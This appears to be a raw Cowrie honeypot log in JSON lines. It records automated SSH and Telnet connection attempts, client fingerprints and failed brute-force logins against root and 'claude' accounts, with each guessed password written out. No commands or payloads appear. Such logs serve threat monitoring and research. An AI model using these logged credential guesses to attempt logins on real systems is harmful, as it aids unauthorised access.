{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:13.098875Z","src_ip":"103.82.132.16","session":"7b0799f5474d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:13.365587Z","src_ip":"103.82.132.16","session":"7b0799f5474d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:14.163755Z","src_ip":"103.82.132.16","session":"7b0799f5474d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.96976137161255,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:14.301212Z","src_ip":"192.119.13.58","session":"f7818baf10a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:15.430551Z","src_ip":"103.82.132.16","session":"7b0799f5474d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38238,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cf03f96acf0","protocol":"telnet","message":"New connection: 192.119.13.58:38238 (10.17.0.5:23) [session: 7cf03f96acf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:16.728335Z"}
{"eventid":"cowrie.session.closed","duration":44.70165181159973,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:16.803807Z","src_ip":"192.119.13.58","session":"7a0b9524ab22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":43274,"dst_ip":"159.203.135.109","dst_port":22,"session":"32ca6122b876","protocol":"ssh","message":"New connection: 77.105.130.18:43274 (159.203.135.109:22) [session: 32ca6122b876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:18.450787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:18.460537Z","src_ip":"77.105.130.18","session":"32ca6122b876","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:18.569295Z","src_ip":"77.105.130.18","session":"32ca6122b876","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tinkerbell","message":"login attempt [root/tinkerbell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:19.007081Z","src_ip":"77.105.130.18","session":"32ca6122b876","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":46782,"dst_ip":"159.203.135.109","dst_port":22,"session":"806260c5a0c8","protocol":"ssh","message":"New connection: 49.51.241.230:46782 (159.203.135.109:22) [session: 806260c5a0c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:19.722028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:19.741920Z","src_ip":"49.51.241.230","session":"806260c5a0c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:19.815886Z","src_ip":"49.51.241.230","session":"806260c5a0c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:20.117674Z","src_ip":"77.105.130.18","session":"32ca6122b876","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:20.133205Z","src_ip":"49.51.241.230","session":"806260c5a0c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":38114,"dst_ip":"159.203.135.109","dst_port":22,"session":"202dbad48e1f","protocol":"ssh","message":"New connection: 43.135.176.251:38114 (159.203.135.109:22) [session: 202dbad48e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:20.632497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:20.639411Z","src_ip":"43.135.176.251","session":"202dbad48e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:20.711102Z","src_ip":"43.135.176.251","session":"202dbad48e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd!@#","message":"login attempt [root/asd!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:21.028435Z","src_ip":"43.135.176.251","session":"202dbad48e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:21.207253Z","src_ip":"49.51.241.230","session":"806260c5a0c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.99743676185608,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:22.095673Z","src_ip":"192.119.13.58","session":"f5c0cae3c37d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:22.103184Z","src_ip":"43.135.176.251","session":"202dbad48e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34810,"dst_ip":"10.17.0.5","dst_port":23,"session":"5038080bc2ff","protocol":"telnet","message":"New connection: 192.119.13.58:34810 (10.17.0.5:23) [session: 5038080bc2ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:26.469454Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38800,"dst_ip":"10.17.0.5","dst_port":23,"session":"d82f994967ee","protocol":"telnet","message":"New connection: 192.119.13.58:38800 (10.17.0.5:23) [session: d82f994967ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:27.281460Z"}
{"eventid":"cowrie.session.closed","duration":44.272804260253906,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:27.385307Z","src_ip":"192.119.13.58","session":"ad1bf66cd772","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.657437324523926,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:31.309779Z","src_ip":"192.119.13.58","session":"21034e412c6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32944,"dst_ip":"10.17.0.5","dst_port":23,"session":"db20865b1752","protocol":"telnet","message":"New connection: 192.119.13.58:32944 (10.17.0.5:23) [session: db20865b1752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:32.120783Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":31983,"dst_ip":"10.17.0.5","dst_port":22,"session":"20fb0ffb66c9","protocol":"ssh","message":"New connection: 186.122.177.140:31983 (10.17.0.5:22) [session: 20fb0ffb66c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:36.505810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:36.511180Z","src_ip":"186.122.177.140","session":"20fb0ffb66c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:36.693017Z","src_ip":"186.122.177.140","session":"20fb0ffb66c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jochen","message":"login attempt [root/jochen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:37.578542Z","src_ip":"186.122.177.140","session":"20fb0ffb66c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:38.767332Z","src_ip":"186.122.177.140","session":"20fb0ffb66c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38526,"dst_ip":"10.17.0.5","dst_port":23,"session":"b34272135b94","protocol":"telnet","message":"New connection: 192.119.13.58:38526 (10.17.0.5:23) [session: b34272135b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:39.662525Z"}
{"eventid":"cowrie.session.closed","duration":46.66710162162781,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:41.939030Z","src_ip":"192.119.13.58","session":"dbb24fcf2be8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58396,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7f91dc05922","protocol":"telnet","message":"New connection: 192.119.13.58:58396 (10.17.0.5:23) [session: c7f91dc05922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:43.932126Z"}
{"eventid":"cowrie.session.closed","duration":40.32284331321716,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:46.529591Z","src_ip":"192.119.13.58","session":"868790177973","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.7892348766326904,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:46.721247Z","src_ip":"192.119.13.58","session":"c7f91dc05922","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":55726,"dst_ip":"159.203.135.109","dst_port":22,"session":"877d1b797c73","protocol":"ssh","message":"New connection: 38.93.206.2:55726 (159.203.135.109:22) [session: 877d1b797c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:48.790993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:48.803992Z","src_ip":"38.93.206.2","session":"877d1b797c73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:48.862183Z","src_ip":"38.93.206.2","session":"877d1b797c73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"070809","message":"login attempt [root/070809] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:49.020645Z","src_ip":"38.93.206.2","session":"877d1b797c73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1620382dcd4","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: d1620382dcd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:49.787256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:49.793230Z","src_ip":"74.243.239.219","session":"d1620382dcd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:49.965579Z","src_ip":"74.243.239.219","session":"d1620382dcd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:50.075019Z","src_ip":"38.93.206.2","session":"877d1b797c73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedcrfvtgb123321","message":"login attempt [root/qazwsxedcrfvtgb123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:50.667730Z","src_ip":"74.243.239.219","session":"d1620382dcd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:51.838434Z","src_ip":"74.243.239.219","session":"d1620382dcd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.172688245773315,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:53.900901Z","src_ip":"192.119.13.58","session":"7cf03f96acf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7246572971344,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:00:58.193966Z","src_ip":"192.119.13.58","session":"5038080bc2ff","protocol":"telnet"}
